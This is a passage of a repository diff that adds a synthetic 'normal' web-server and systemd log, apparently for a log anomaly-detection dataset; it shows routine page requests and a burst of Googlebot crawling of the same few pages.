+2025-08-20T10:06:50Z,11.14,41.06,25.23,1.32,1.77 +2025-08-20T10:06:55Z,14.99,35.91,39.81,1.18,1.53 +2025-08-20T10:07:00Z,17.3,43.96,27.41,1.84,1.46 +2025-08-20T10:07:05Z,14.4,39.51,30.23,1.02,1.11 +2025-08-20T10:07:10Z,11.42,37.06,21.76,1.76,1.11 +2025-08-20T10:07:15Z,16.46,43.37,21.75,1.18,1.77 +2025-08-20T10:07:20Z,14.5,36.77,22.63,1.52,1.77 +2025-08-20T10:07:25Z,13.33,41.97,24.38,1.52,1.82 diff --git a/norm_dataset/scenario_8/norm_8_13.log b/norm_dataset/scenario_8/norm_8_13.log new file mode 100644 index 0000000000000000000000000000000000000000..c06e36a1501e03f503ddb866ef661899cfd5fcaa --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_13.log @@ -0,0 +1,260 @@ +Aug 20 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 20 10:00:05 web-server[8080]: 192.168.1.101 - - [20/Aug/2025:10:00:05 ] "GET /contact HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:00:15 web-server[8080]: 172.16.31.200 - - [20/Aug/2025:10:00:15 ] "GET /index.html HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:00:25 web-server[8080]: 10.0.0.54 - - [20/Aug/2025:10:00:25 ] "GET /about HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 20 10:00:50 web-server[8080]: 192.168.1.101 - - [20/Aug/2025:10:00:50 ] "GET /blog/article-123 HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:01:00 web-server[8080]: 192.168.1.101 - - [20/Aug/2025:10:01:00 ] "GET /blog/article-123 HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:01:05 web-server[8080]: 10.0.0.54 - - [20/Aug/2025:10:01:05 ] "GET /products/1 HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:01:10 web-server[8080]: 172.16.31.200 - - [20/Aug/2025:10:01:10 ] "GET /products/1 HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:01:20 web-server[8080]: 172.16.31.200 - - [20/Aug/2025:10:01:20 ] "GET /products/category/electronics HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:01:35 web-server[8080]: 172.16.31.200 - - [20/Aug/2025:10:01:35 ] "GET /products/category/electronics HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 20 10:01:40 web-server[8080]: 10.0.0.54 - - [20/Aug/2025:10:01:40 ] "GET /blog/article-123 HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:01:55 web-server[8080]: 192.168.1.101 - - [20/Aug/2025:10:01:55 ] "GET /about HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:10 web-server[8080]: 172.16.31.200 - - [20/Aug/2025:10:02:10 ] "GET /index.html HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:15 web-server[8080]: 192.168.1.101 - - [20/Aug/2025:10:02:15 ] "GET /products/1 HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:20 web-server[8080]: 172.16.31.200 - - [20/Aug/2025:10:02:20 ] "GET /blog/article-123 HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:25 web-server[8080]: 10.0.0.54 - - [20/Aug/2025:10:02:25 ] "GET /products/1 HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:30 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:02:30 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:30 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:02:30 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:30 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:02:30 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:30 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:02:30 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:30 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:02:30 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:30 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:02:30 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:30 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:02:30 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:30 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:02:30 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:30 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:02:30 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:35 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:02:35 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:35 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:02:35 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:35 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:02:35 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:35 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:02:35 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:35 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:02:35 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:40 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:02:40 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:40 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:02:40 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:40 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:02:40 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:40 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:02:40 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:40 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:02:40 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:40 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:02:40 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:40 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:02:40 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:45 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:02:45 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:45 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:02:45 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:45 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:02:45 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:45 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:02:45 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:45 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:02:45 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:45 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:02:45 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:45 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:02:45 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:45 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:02:45 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:50 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:02:50 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:50 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:02:50 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:50 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:02:50 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:50 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:02:50 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:50 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:02:50 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:55 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:02:55 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:55 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:02:55 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:55 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:02:55 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:55 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:02:55 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:55 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:02:55 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:55 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:02:55 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:02:55 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:02:55 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:00 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:00 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:00 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:00 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:00 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:00 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:00 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:00 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:00 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:00 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:00 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:00 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:00 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:00 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:00 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:00 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:00 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:00 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:05 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:05 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:05 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:05 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:05 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:05 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:05 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:05 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:05 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:05 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:05 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:05 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:10 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:10 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:10 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:10 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:10 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:10 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:10 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:10 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:10 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:10 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:10 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:10 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:10 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:10 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:10 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:10 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:15 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:15 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:15 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:15 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:15 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:15 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:15 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:15 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:15 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:15 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:15 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:15 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:15 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:15 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:20 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:20 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:20 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:20 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:20 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:20 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:20 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:20 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:20 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:20 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:20 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:20 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:20 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:20 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:20 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:20 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:25 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:25 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:25 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:25 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:25 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:25 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:25 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:25 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:25 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:25 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:25 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:25 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:25 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:25 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:30 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:30 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:30 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:30 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:30 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:30 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:30 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:30 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:30 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:30 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:35 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:35 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:35 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:35 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:35 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:35 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:35 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:35 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:35 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:35 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:35 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:35 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:35 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:35 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:40 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:40 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:40 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:40 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:40 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:40 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:40 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:40 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:40 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:40 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:40 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:40 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:40 web-server[8080]: 66.249.66.12 - - 